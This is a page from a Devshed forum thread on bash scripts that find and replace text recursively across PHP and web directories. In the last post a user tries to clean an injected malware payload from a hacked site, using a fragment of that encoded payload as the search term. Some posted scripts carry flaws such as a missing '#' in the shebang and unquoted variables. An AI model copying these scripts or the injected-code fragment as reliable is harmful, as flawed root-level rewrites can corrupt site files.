Page 2 of 2 First 12
  • Jump to page:
    #16
  1. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Nov 2010
    Posts
    1
    Rep Power
    0
    I have comma separated file..

    I need to remove comma between " " so that i can read each column easily with comma delimiter

    Before

    100,200,300,A,"34,00","64,000","0,23"

    After

    100,200,300,A,"3400","64000","023"

    appreciate quick help
  2. #17
  3. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Sep 2011
    Posts
    1
    Rep Power
    0
    Also can be done using vim.

    Code:
    for file in $(grep -l "PATTERN" `find . -name "*.php"`); do vim "+%s:PATTERN:REPLACE:g" "+wq" $file; done;
  4. #18
  5. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Nov 2011
    Posts
    1
    Rep Power
    0
    Total newbie here.

    I need to replace the following text line in php files only in the entire directory, meaning many folders etc.

    /content/x/x/x/xxxxx/html/

    with

    /xxxxxx/public_html/

    Which code would work best and is this done through ssh?
  6. #19
  7. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jun 2011
    Posts
    1
    Rep Power
    0
    Originally Posted by gare
    very cool script. Thanks for posting. I modified it a bit, and this seems to work pretty well:
    Code:
    # *****************************************************************************************
    # find_and_replace_in_files.sh
    # This script does a recursive, case sensitive directory search and replace of files
    # To make a case insensitive search replace, use the -i switch in the grep call
    # uses a startdirectory parameter so that you can run it outside of specified directory - else this script will modify itself!
    # *****************************************************************************************
    
    !/bin/bash
    # **************** Change Variables Here ************
    startdirectory="/home/gare/tmp/tmp2"
    searchterm="search"
    replaceterm="replaceTerm"
    # **********************************************************
    
    echo "******************************************"
    echo "* Search and Replace in Files Version .1 *"
    echo "******************************************"
    
            for file in $(grep -l -R $searchterm $startdirectory)
              do
               sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
               mv /tmp/tempfile.tmp $file
               echo "Modified: " $file
            done
    
    echo " *** Yay! All Done! *** "
    This is an amazing script. Thanks so much for i. I spent over 2 hours looking for something to do exactly this. Going into my toolbox!! =)
  8. #20
  9. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    May 2012
    Posts
    1
    Rep Power
    0

    Exclamation Perl uses a .cfg file which can't hold variables.


    I have a shell script which executes one perl. The perl uses some variable which is again defined in a .cfg file. In that .cfg file I have a variable (LOG_FILE=$HOME/LOG). Since I can't use the $HOME inside the .cfg file which is used by perl, I have to each time change the .cfg file with value of $HOME, then in .cfg file I have LOG_FILE=/pkg/mt411c/LOG (as the value of $HOME=/pkg/mt411c). But everytime I copy this .cfg file to other environment I have to change the value of this LOG_FILE variable with the value of "$HOME" as it gets changed in dift env. But I want to make it generic so that I will not either change the value of $HOME inside the file or I want any other shell script which will change the value of these variables each time I put the .cfg file. (Note: I have several other variables in that .cfg file, this is just one example). Please help.
  10. #21
  11. No Profile Picture
    Contributing User
    Devshed Regular (2000 - 2499 posts)

    Join Date
    Mar 2006
    Posts
    2,481
    Rep Power
    1752
    This really should have been a new thread ...
    There must be a few ways to acheive this - can you not include the .cfg file in the perl, for example? Is theer now way of accessing the environment variables from within perl?
    The moon on the one hand, the dawn on the other:
    The moon is my sister, the dawn is my brother.
    The moon on my left and the dawn on my right.
    My brother, good morning: my sister, good night.
    -- Hilaire Belloc
  12. #22
  13. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Mar 2010
    Posts
    2
    Rep Power
    0
    Very cool script. Thanks to all for the prior posting.
    I had to modify some more
    I'm working with a customers dedicated server (unix/Plesk) with several of their domains, and needed to run the script across all the domains as root.
    The problem was that the original script resulted in changing the owner:group of the changed files to root:root which effectively killed the webserver.

    My changes seem to have fixed that, (not pretty, my instructor left out the part about writing neat, tight code ).
    Code:
    !/bin/bash
    # *****************************************************************************************
    # find_and_replace_in_files.sh
    # This script does a recursive, case sensitive directory search and replace of files
    # To make a case insensitive search replace, use the -i switch in the grep call
    # uses a startdirectory parameter so that you can run it outside of specified directory
    # - else this script will modify itself!
    # modified to restore file to original owner & group - must be run as superuser
    # *****************************************************************************************
    # **************** Change Variables Here ************
    #startdirectory="/var/www/vhosts/yoursite.com/httpdocs/"     
    
    #searchterm="what to look for"
    #replaceterm="Replacement text"
    #changes the whole world
    startdirectory="/var/www/vhosts/" 
    #just for one site
    #startdirectory="/var/www/vhosts/yoursite.com/httpdocs/"    
    
    searchterm="what to look for"
    replaceterm="what to change it to"
    # **********************************************************
    
    echo "******************************************"
    echo "* Search and Replace in Files Version .11 *"
    echo "******************************************"
    
    #                               -- include just change matching files 
                                                      
            for file in $(grep -l -R --include=*.php $searchterm $startdirectory) 
              do
              	    oown=$(stat -c %U $file)
    		    join=':'
    		    ogrp=$(stat -c %G $file)
    		    spc=' '
    		    nown=$oown$join$ogrp$spc
    		    
    		    omod=$(stat -c %a $file)
    		 
                sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
                mv /tmp/tempfile.tmp $file
    			chown $nown $file
    			chmod $omod $file
    			
              echo "Modified: " $file
            done
    
    echo " *** Yay! All Done! *** "
  14. #23
  15. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Dec 2012
    Posts
    1
    Rep Power
    0

    Thumbs down Not functioning for me...


    Hello,

    New to the Forum!
    In my search for answers, I found this thread and decided to revive it in the hopes of getting a little direction...

    Below is the code I would like to run for searching through a web dir to remove all instances of malicious code within files(php) I recently fell victim to.
    I called the script via shell: ./search-replaces.sh
    Get: command not found
    The file: search-replace.sh resides in the root dir of the Site and is set to 0744
    Another little script I have begins with: #!/bin/sh which seems to execute properly...
    Code:
    #!/bin/bash
    # *****************************************************************************************
    # find_and_replace_in_files.sh
    # This script does a recursive, case sensitive directory search and replace of files
    # To make a case insensitive search replace, use the -i switch in the grep call
    # uses a startdirectory parameter so that you can run it outside of specified directory - else this script will modify itself!
    # *****************************************************************************************
    
    # **************** Change Variables Here ************
    #startdirectory="/Full/Path/dir/to/yoursite.com/"    
    startdirectory="/home/ador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0KfQp9Cn0NCn0NCn0="));"
    replaceterm=""
    # **********************************************************
    
    echo "*******************************************"
    echo "* Search and Replace in Files Version 1.0 *"
    echo "*******************************************"
    
            for file in $(grep -l -R $searchterm $startdirectory)
              do
               sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
               mv /tmp/tempfile.tmp $file
               echo "Modified: " $file
            done
    
    echo " ***  Yay! All Done!  *** "
    Any direction is greatly appreciated,
    Jim
Page 2 of 2 First 12
  • Jump to page:

IMN logo majestic logo threadwatch logo seochat tools logo